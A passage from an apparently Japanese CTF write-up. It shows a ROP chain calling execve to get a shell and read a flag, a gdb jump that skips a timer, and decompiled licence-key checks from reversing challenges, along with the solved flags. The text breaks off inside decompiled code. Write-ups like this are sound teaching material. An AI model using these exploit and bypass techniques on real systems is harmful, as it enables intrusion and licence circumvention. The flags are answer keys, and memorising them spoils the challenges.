2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 9
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret |
+--------------------+
> 0
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}
FLAG{now-you-can-call-any-system-calls-with-syscall}
secret (Reversing)
secret keyになる文字列が隠されていないか確認してみる。
$ strings secret
:
:
Input secret key :
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s
:
:
チェックが正しい時のメッセージに近いところにkeyらしきものがある。
$ ./secret
▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄
█ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐
▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █
▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █
█▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀
▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █
▐ ▐ ▐ ▐
Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute (Reversing)
アセンブリから実行ファイルにする。
$ as main.s -o main
生成した実行ファイルをGhidraでデコンパイルする。
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0x6e34637b47414c46;
local_30 = 0x6578655f7530795f;
local_28 = 0x3168745f65347563;
local_20 = 0x7d653169665f73;
print(&local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
>>> '6e34637b47414c46'.decode('hex')[::-1]
'FLAG{c4n'
>>> '6578655f7530795f'.decode('hex')[::-1]
'_y0u_exe'
>>> '3168745f65347563'.decode('hex')[::-1]
'cu4e_th1'
>>> '7d653169665f73'.decode('hex')[::-1]
's_fi1e}'
FLAG{c4n_y0u_execu4e_th1s_fi1e}
timer (Reversing)
$ ./timer
████████╗██╗███╗ ███╗███████╗██████╗
╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗
██║ ██║██╔████╔██║█████╗ ██████╔╝
██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗
██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
I'll show the flag when the timer is 0 seconds.
259200 seconds left.
259199 seconds left.
259198 seconds left.
259197 seconds left.
:
そのまま実行すると、フラグが表示されるまでに時間がかかる。
$ gdb -q ./timer
Reading symbols from ./timer...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 printf@plt
0x0000000000001050 memcpy@plt
0x0000000000001060 sleep@plt
0x0000000000001070 __cxa_finalize@plt
0x0000000000001080 _start
0x00000000000010b0 deregister_tm_clones
0x00000000000010e0 register_tm_clones
0x0000000000001120 __do_global_dtors_aux
0x0000000000001160 frame_dummy
0x0000000000001170 super_complex_flag_print_function
0x000000000000141a show_description
0x000000000000149d timer
0x00000000000014ef main
0x0000000000001510 __libc_csu_init
0x0000000000001580 __libc_csu_fini
0x0000000000001588 _fini
gdb-peda$ b main
Breakpoint 1 at 0x14ef
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/timer
[----------------------------------registers----------------------------------]
RAX: 0x5555555554ef (<main>: endbr64)
RBX: 0x0
RCX: 0x555555555510 (<__libc_csu_init>: endbr64)
RDX: 0x7fffffffe088 --> 0x7fffffffe3c6 ("CLUTTER_IM_MODU"...)
RSI: 0x7fffffffe078 --> 0x7fffffffe3af ("/mnt/hgfs/Share"...)
RDI: 0x1
RBP: 0x555555555510 (<__libc_csu_init>: endbr64)
RSP: 0x7fffffffdf98 --> 0x7ffff7a03bf7 (<__libc_start_main+231>: mov edi,eax)
RIP: 0x5555555554ef (<main>: endbr64)
R8 : 0x7ffff7dced80 --> 0x0
R9 : 0x7ffff7dced80 --> 0x0
R10: 0x0
R11: 0x0
R12: 0x555555555080 (<_start>: endbr64)
R13: 0x7fffffffe070 --> 0x1
R14: 0x0
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]
Breakpoint 1, 0x00005555555554ef in main ()
gdb-peda$ jump *super_complex_flag_print_function
Continuing at 0x555555555170.
The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
[Inferior 1 (process 92114) exited normally]
タイマー実行は飛ばして、super_complex_flag_print_function関数を実行するようにしたら、フラグが表示された。
FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence (Reversing)
Ghidraでデコンパイルする。
undefined8 main(int param_1,long param_2)
{
int iVar1;
undefined8 uVar2;
FILE *__stream;
char *pcVar3;
long in_FS_OFFSET;
char local_98 [32];
char local_78 [32];
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 == 2) {
__stream = fopen(*(char **)(param_2 + 8),"r");
if (__stream == (FILE *)0x0) {
puts("Failed to open file");
uVar2 = 1;
}
else {
pcVar3 = fgets(local_78,0x1d,__stream);
if (pcVar3 == (char *)0x0) {
puts("Failed to read file");
uVar2 = 1;
}
else {
iVar1 = strcmp(local_78,"-----BEGIN LICENCE KEY-----\n");
if (iVar1 == 0) {
pcVar3 = fgets(local_58,0x41,__stream);
if (pcVar3 == (char *)0x0) {
puts("Failed to read file");
uVar2 = 1;
}
else {
iVar1 = check(local_58);
if (iVar1 == 0) {
pcVar3 = fgets(local_98,0x1b,__stream);
if (pcVar3 == (char *)0x0) {
puts("Failed to read file");
uVar2 = 1;
}
else {
iVar1 = strcmp(local_98,"-----END LICENCE KEY-----\n");
if (iVar1 == 0) {
fclose(__stream);
puts("Correct! This software is successfully activated!");
uVar2 = 0;
}
else {
puts("Failed to activate.");
uVar2 = 1;
}
}
}
else {
puts("Failed to activate.");
uVar2 = 1;
}
}
}
else {
puts("Failed to activate.");
uVar2 = 1;
}
}
}
}
else {
puts("Failed to execute. Usage: ./licence <key file name>");
uVar2 = 1;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return uVar2;
}
undefined8 check(byte *param_1)
{
undefined8 uVar1;
if ((param_1[0xb] ^ *param_1) == 0x7e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2d] + (int)(char)*param_1 == 0x80) {
uVar1 = 1;
}
else {
if ((int)(char)*param_1 - (int)(char)param_1[0x1c] == 0x18) {
uVar1 = 1;
}
else {
if (*param_1 == 0x46) {
if ((int)(char)param_1[1] - (int)(char)param_1[0xd] == 0x1a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[1] - (int)(char)param_1[0x12] == 0x21) {
uVar1 = 1;
}
else {
if ((param_1[0x11] ^ param_1[1]) == 0x34) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[1] - (int)(char)*param_1 == 6) {
if ((int)(char)param_1[2] - (int)(char)param_1[9] == -0x1c) {
uVar1 = 1;
}
else {
if ((param_1[0x24] ^ param_1[2]) == 0x72) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[2] - (int)(char)param_1[0x1c] == 0x11) {
uVar1 = 1;
}
else {
if ((param_1[1] ^ param_1[2]) == 0xd) {
if ((int)(char)param_1[0x2b] + (int)(char)param_1[3] == 0xc2) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] - (int)(char)param_1[0x11] == -0x28) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] - (int)(char)param_1[0x18] == 0x1a) {
uVar1 = 1;
}
else {
if ((param_1[2] ^ param_1[3]) == 6) {
if ((int)(char)param_1[4] - (int)(char)param_1[0x2a] == 0x1a) {
uVar1 = 1;
}
else {
if ((param_1[0x16] ^ param_1[4]) == 0x49) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] + (int)(char)param_1[4] == 0xc6) {
uVar1 = 1;
}
else {
if ((param_1[3] ^ param_1[4]) == 0x3c) {
if ((int)(char)param_1[7] + (int)(char)param_1[5] == 0x6c)
{
uVar1 = 1;
}
else {
if ((*param_1 ^ param_1[5]) == 0x7a) {
uVar1 = 1;
}
else {
if (param_1[5] == param_1[0x3b]) {
uVar1 = 1;
}
else {
if ((param_1[4] ^ param_1[5]) == 0x4f) {
if ((param_1[0x1c] ^ param_1[6]) == 0x5c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[6] -
(int)(char)param_1[0x1b] == 3) {
uVar1 = 1;
}
else {
if ((param_1[5] ^ param_1[6]) == 0x5a) {
if ((int)(char)param_1[7] -
(int)(char)param_1[1] == -0x12) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1f] +
(int)(char)param_1[7] == 0xb0) {
uVar1 = 1;
}
else {
if ((param_1[0x13] ^ param_1[7]) == 0x41
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[7] -
(int)(char)param_1[6] == -0x38) {
if ((int)(char)param_1[8] -
(int)(char)param_1[0x20] == 6) {
uVar1 = 1;
}
else {
if ((param_1[0x32] ^ param_1[8])
== 10) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[8] -
(int)(char)param_1[10] ==
0x4b) {
uVar1 = 1;
}
else {
if ((param_1[7] ^ param_1[8])
== 0x44) {
if ((param_1[0x24] ^
param_1[9]) == 0x67) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[
0x36] + (int)(char)param_1[9] == 0x9b) {
uVar1 = 1;
}
else {
if ((param_1[0xf] ^ param_1[9]) == 0x68) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[9] -
(int)(char)param_1[8] == -0x13) {
if ((int)(char)param_1[10] -
(int)(char)param_1[2] == -7) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x22] +
(int)(char)param_1[10] == 0x6b) {
uVar1 = 1;
}
else {
if ((param_1[9] ^ param_1[10]) == 0x6e)
{
if ((int)(char)*param_1 +
(int)(char)param_1[0xb] == 0x7e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xb] -
(int)(char)param_1[0x32] ==
-0x37) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x23] +
(int)(char)param_1[0xb] ==
0xa2) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[10] +
(int)(char)param_1[0xb] ==
0x66) {
if ((param_1[0x39] ^
param_1[0xc]) == 0x3c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17]
+ (int)(char)param_1[0xc
] == 0xda) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xb] +
(int)(char)param_1[0xc] == 0x94) {
if ((param_1[0x27] ^ param_1[0xd]) == 2) {
uVar1 = 1;
}
else {
if ((param_1[0x2c] ^ param_1[0xd]) == 0xc) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3b] +
(int)(char)param_1[0xd] == 0x6c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xd] -
(int)(char)param_1[0xc] == -0x2b) {
if ((int)(char)param_1[0xe] -
(int)(char)param_1[0xf] == 0x2f) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xe] -
(int)(char)param_1[0x3b] == 0x33
) {
uVar1 = 1;
}
else {
if ((param_1[0x2d] ^ param_1[0xe])
== 100) {
uVar1 = 1;
}
else {
if ((param_1[0xd] ^ param_1[0xe]
) == 0x6b) {
if ((param_1[0x31] ^
param_1[0xf]) == 2) {
uVar1 = 1;
}
else {
if ((param_1[0x27] ^
param_1[0xf]) == 0xd) {
uVar1 = 1;
}
else {
if ((param_1[0x2f] ^
param_1[0xf]) == 0x41)
{
uVar1 = 1;
}
else {
if ((param_1[0xe] ^
param_1[0xf]) ==
0x6a) {
if ((int)(char)param_1
[0x26] + (int)(char)param_1[0x10] == 0xda) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x20] +
(int)(char)param_1[0x10] == 0xe7) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3b] +
(int)(char)param_1[0x10] == 0xa6) {
uVar1 = 1;
}
else {
if ((param_1[0xf] ^ param_1[0x10]) == 0x40)
{
if ((param_1[0xb] ^ param_1[0x11]) == 0x4d
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x11] -
(int)(char)param_1[0x13] == -1) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3c] +
(int)(char)param_1[0x11] == 0xa2)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x10] +
(int)(char)param_1[0x11] == 0xe5
) {
if ((param_1[0x36] ^ param_1[0x12]
) == 5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x12] -
(int)(char)param_1[4] ==
-0x40) {
uVar1 = 1;
}
else {
if ((param_1[9] ^
param_1[0x12]) == 0x57) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x12]
- (int)(char)param_1[
0x11] == -0x3d) {
if ((int)(char)param_1[0x38] +
(int)(char)param_1[0x13] == 0xb1) {
uVar1 = 1;
}
else {
if ((param_1[6] ^ param_1[0x13]) == 0x1d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xb] +
(int)(char)param_1[0x13] == 0xa8) {
uVar1 = 1;
}
else {
if ((param_1[0x12] ^ param_1[0x13]) ==
0x41) {
if ((int)(char)param_1[0x14] -
(int)(char)param_1[2] == 0x20) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x18] +
(int)(char)param_1[0x14] == 0x9b)
{
uVar1 = 1;
}
else {
if ((param_1[0x2a] ^ param_1[0x14])
== 0x33) {
uVar1 = 1;
}
else {
if ((param_1[0x13] ^ param_1[0x14]
) == 0x2d) {
if ((int)(char)param_1[0x15] -
(int)(char)param_1[9] ==
0x17) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] +
(int)(char)param_1[0x15]
== 0xec) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x15]
- (int)(char)param_1[
0x2f] == 8) {
uVar1 = 1;
}
else {
if ((param_1[0x14] ^ param_1[0x15]) == 0x2f) {
if ((int)(char)param_1[0x33] +
(int)(char)param_1[0x16] == 0x6c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[3] +
(int)(char)param_1[0x16] == 0x79) {
uVar1 = 1;
}
else {
if ((param_1[0x15] ^ param_1[0x16]) ==
0x40) {
if ((int)(char)param_1[0x2e] +
(int)(char)param_1[0x17] == 0xaf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2b] +
(int)(char)param_1[0x17] == 0xed)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x17] -
(int)(char)param_1[0x11] == 0x11
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x16] +
(int)(char)param_1[0x17] ==
0xa7) {
if ((int)(char)param_1[0x37] +
(int)(char)param_1[0x18] ==
0x6d) {
uVar1 = 1;
}
else {
if ((param_1[0x3e] ^
param_1[0x18]) == 0x4d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x18]
- (int)(char)param_1[
0x2c] == 1) {
uVar1 = 1;
}
else {
if ((param_1[0x17] ^ param_1[0x18]) == 0x44) {
if ((int)(char)param_1[0x19] -
(int)(char)param_1[0x35] == -6) {
uVar1 = 1;
}
else {
if ((param_1[5] ^ param_1[0x19]) == 0x4f) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x22] +
(int)(char)param_1[0x19] == 0xa6) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x18] +
(int)(char)param_1[0x19] == 0xa5) {
if ((int)(char)param_1[0x1a] -
(int)(char)*param_1 == 0x27) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1a] -
(int)(char)param_1[0xe] == 8) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1a] -
(int)(char)param_1[0x19] ==
-0xc) {
if ((int)(char)param_1[0x33] +
(int)(char)param_1[0x1b] ==
0xaf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x21] +
(int)(char)param_1[0x1b]
== 0xe0) {
uVar1 = 1;
}
else {
if ((param_1[0x1d] ^
param_1[0x1b]) == 0x15)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[
0x1a] + (int)(char)param_1[0x1b] == 0xdb) {
if ((int)(char)param_1[0x20] +
(int)(char)param_1[0x1c] == 0xa1) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1c] -
(int)(char)param_1[0x35] == -0x45) {
uVar1 = 1;
}
else {
if ((param_1[0x14] ^ param_1[0x1c]) == 0x55)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1b] +
(int)(char)param_1[0x1c] == 0xa6) {
if ((param_1[0x32] ^ param_1[0x1d]) ==
0x2f) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1d] -
(int)(char)param_1[0x34] == -4) {
uVar1 = 1;
}
else {
if ((param_1[8] ^ param_1[0x1d]) ==
0x25) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1c] +
(int)(char)param_1[0x1d] ==
0x90) {
if ((param_1[0x27] ^
param_1[0x1e]) == 0xf) {
uVar1 = 1;
}
else {
if ((param_1[2] ^
param_1[0x1e]) == 0x71) {
uVar1 = 1;
}
else {
if ((param_1[0x23] ^
param_1[0x1e]) == 0x58)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[
0x1e] - (int)(char)param_1[0x1d] == -0x2a) {
if ((param_1[0x14] ^ param_1[0x1f]) == 0x1d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x37] +
(int)(char)param_1[0x1f] == 0xac) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1f] -
(int)(char)param_1[0x20] == 0x15) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1f] -
(int)(char)param_1[0x1e] == 0x44) {
if ((int)(char)param_1[0x37] +
(int)(char)param_1[0x20] == 0xa1) {
uVar1 = 1;
}
else {
if ((param_1[0x3a] ^ param_1[0x20]) ==
0x55) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[8] +
(int)(char)param_1[0x20] == 0xe6
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x20] -
(int)(char)param_1[0x1f] ==
-0xc) {
if ((int)(char)param_1[0x21] -
(int)(char)param_1[0x29] ==
0x36) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x11] +
(int)(char)param_1[0x21]
== 0xd9) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x21]
- (int)(char)*param_1 ==
0x23) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[
0x21] - (int)(char)param_1[0x20] == -0xb) {
if ((int)(char)param_1[0x22] -
(int)(char)param_1[0x30] == -0x2a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x22] -
(int)(char)param_1[6] == -0x37) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x22] -
(int)(char)param_1[0x16] == 5) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x21] +
(int)(char)param_1[0x22] == 0x92) {
if ((param_1[0x3d] ^ param_1[0x23]) ==
0x1d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x19] +
(int)(char)param_1[0x23] == 0xe5)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2b] +
(int)(char)param_1[0x23] == 0xea
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x23] -
(int)(char)param_1[0x22] ==
0x3c) {
if ((param_1[0x18] ^
param_1[0x24]) == 10) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1a] +
(int)(char)param_1[0x24]
== 0x9e) {
uVar1 = 1;
}
else {
if ((param_1[0xc] ^
param_1[0x24]) == 0x54)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[
0x24] - (int)(char)param_1[0x23] == -0x3b) {
if ((param_1[0x28] ^ param_1[0x25]) == 0x1f) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x25] -
(int)(char)param_1[0x23] == -8) {
uVar1 = 1;
}
else {
if ((param_1[0x13] ^ param_1[0x25]) == 0x16)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x25] -
(int)(char)param_1[0x24] == 0x32) {
if ((int)(char)param_1[0x18] +
(int)(char)param_1[0x26] == 0x99) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x12] +
(int)(char)param_1[0x26] == 0x93)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x13] +
(int)(char)param_1[0x26] == 0xd2
) {
uVar1 = 1;
}
else {
if ((param_1[0x25] ^ param_1[0x26]
) == 0x3c) {
if ((param_1[0x21] ^
param_1[0x27]) == 0x5a) {
uVar1 = 1;
}
else {
if ((param_1[0x3c] ^
param_1[0x27]) == 2) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x27]
- (int)(char)param_1[
0x23] == -0x30) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x26] +
(int)(char)param_1[0x27] == 0x92) {
if ((int)(char)param_1[0x3c] +
(int)(char)param_1[0x28] == 0xaf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2f] +
(int)(char)param_1[0x28] == 0xef) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x28] -
(int)(char)param_1[0x3e] == 2) {
uVar1 = 1;
}
else {
if ((param_1[0x27] ^ param_1[0x28]) ==
0x4b) {
if ((param_1[0x1e] ^ param_1[0x29]) ==
0xf) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3b] +
(int)(char)param_1[0x29] == 0x65
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2e] +
(int)(char)param_1[0x29] ==
0x6d) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x28] +
(int)(char)param_1[0x29] ==
0xab) {
if ((int)(char)param_1[0x28] +
(int)(char)param_1[0x2a]
== 0xde) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2a]
- (int)(char)param_1[
0x2e] == 0x3c) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2a] -
(int)(char)param_1[0xd] == 0x38) {
uVar1 = 1;
}
else {
if ((param_1[0x29] ^ param_1[0x2a]) == 0x50) {
if ((param_1[0x30] ^ param_1[0x2b]) == 0x1c)
{
uVar1 = 1;
}
else {
if ((param_1[4] ^ param_1[0x2b]) == 8) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2b] -
(int)(char)param_1[0x30] == 0x1a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2b] -
(int)(char)param_1[0x2a] == 0x12)
{
if ((int)(char)param_1[0x2c] -
(int)(char)param_1[0x1b] ==
-0x37) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x31] +
(int)(char)param_1[0x2c] ==
0x73) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x1f] +
(int)(char)param_1[0x2c] ==
0xb2) {
uVar1 = 1;
}
else {
if ((param_1[0x2b] ^
param_1[0x2c]) == 0x42) {
if ((int)(char)param_1[0x2d]
- (int)(char)param_1[10]
== 4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[
0x2d] - (int)(char)param_1[0x2b] == -0x42) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3f] +
(int)(char)param_1[0x2d] == 0x3d) {
uVar1 = 1;
}
else {
if ((param_1[0x2c] ^ param_1[0x2d]) == 6) {
if ((int)(char)param_1[0x16] +
(int)(char)param_1[0x2e] == 0x67) {
uVar1 = 1;
}
else {
if ((param_1[0x2d] ^ param_1[0x2e]) == 1)
{
if ((param_1[0x31] ^ param_1[0x2f]) ==
0x56) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2f] -
(int)(char)param_1[5] == 0x44) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2b] +
(int)(char)param_1[0x2f] == 0xed
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x2e] +
(int)(char)param_1[0x2f] ==
0x9e) {
if ((param_1[0x23] ^
param_1[0x30]) == 0x30) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0xb] +
(int)(char)param_1[0x30]
== 0x9b) {
uVar1 = 1;
}
else {
if ((param_1[0x2f] ^
param_1[0x30]) == 0x31)
{
if ((int)(char)param_1[
0x17] + (int)(char)param_1[0x31] == 0xb2) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x13] +
(int)(char)param_1[0x31] == 0xa7) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x31] -
(int)(char)param_1[0x1c] == 6) {
uVar1 = 1;
}
else {
if ((param_1[0x30] ^ param_1[0x31]) == 0x6b)
{
if ((int)(char)param_1[9] +
(int)(char)param_1[0x32] == 0xce) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x32] -
(int)(char)param_1[8] == 4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x32] -
(int)(char)param_1[0x16] == 0x48)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x32] -
(int)(char)param_1[0x31] == 0x3a
) {
if ((param_1[0x3c] ^ param_1[0x33]
) == 0xd) {
uVar1 = 1;
}
else {
if ((param_1[0x11] ^
param_1[0x33]) == 0x42) {
uVar1 = 1;
}
else {
if ((param_1[0xc] ^
param_1[0x33]) == 0x55) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x33]
- (int)(char)param_1[
0x32] == -0x3a) {
if ((int)(char)param_1[0x1c] +
(int)(char)param_1[0x34] == 0xa4) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x34] -
(int)(char)param_1[0xb] == 0x39) {
uVar1 = 1;
}
else {
if ((param_1[0x2d] ^ param_1[0x34]) == 0x5f)
{
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x33] +
(int)(char)param_1[0x34] == 0xa0) {
if ((int)(char)param_1[0x35] -
(int)(char)param_1[0x13] == 0x11) {
uVar1 = 1;
}
else {
if ((param_1[0x14] ^ param_1[0x35]) ==
0x1a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x35] -
(int)(char)param_1[0x1b] == 6) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x35] -
(int)(char)param_1[0x34] ==
0xd) {
if (param_1[0x36] == param_1[5])
{
uVar1 = 1;
}
else {
if ((param_1[0x12] ^
param_1[0x36]) == 2) {
uVar1 = 1;
}
else {
if ((param_1[0x35] ^
param_1[0x36]) == 0x4c)
{
if ((int)(char)param_1[
0x3c] + (int)(char)param_1[0x37] == 0x6a) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x27] +
(int)(char)param_1[0x37] == 0x6e) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x37] -
(int)(char)param_1[4] == -0x46) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x37] -
(int)(char)param_1[0x36] == -4) {
if ((int)(char)param_1[0x38] -
(int)(char)param_1[0x33] == 0xb) {
uVar1 = 1;
}
else {
if ((param_1[2] ^ param_1[0x38]) == 0x7d
) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x38] -
(int)(char)param_1[0x2e] == 8) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x37] +
(int)(char)param_1[0x38] == 0x66
) {
if ((param_1[0x2f] ^ param_1[0x39]
) == 0x27) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x39] -
(int)(char)param_1[0x3c] ==
0x36) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x34] +
(int)(char)param_1[0x39]
== 0xd3) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x38]
+ (int)(char)param_1[
0x39] == 0x94) {
if ((param_1[0x12] ^ param_1[0x3a]) == 10) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3a] -
(int)(char)param_1[9] == -0x26) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x11] +
(int)(char)param_1[0x3a] == 0xa9) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3a] -
(int)(char)param_1[0x39] == -0x28) {
if ((int)(char)param_1[0x3b] -
(int)(char)param_1[0x2a] == -0x29) {
uVar1 = 1;
}
else {
if ((int)(char)param_1[0x3c] +
(int)(char)param_1[0x3b] == 0x66)
{
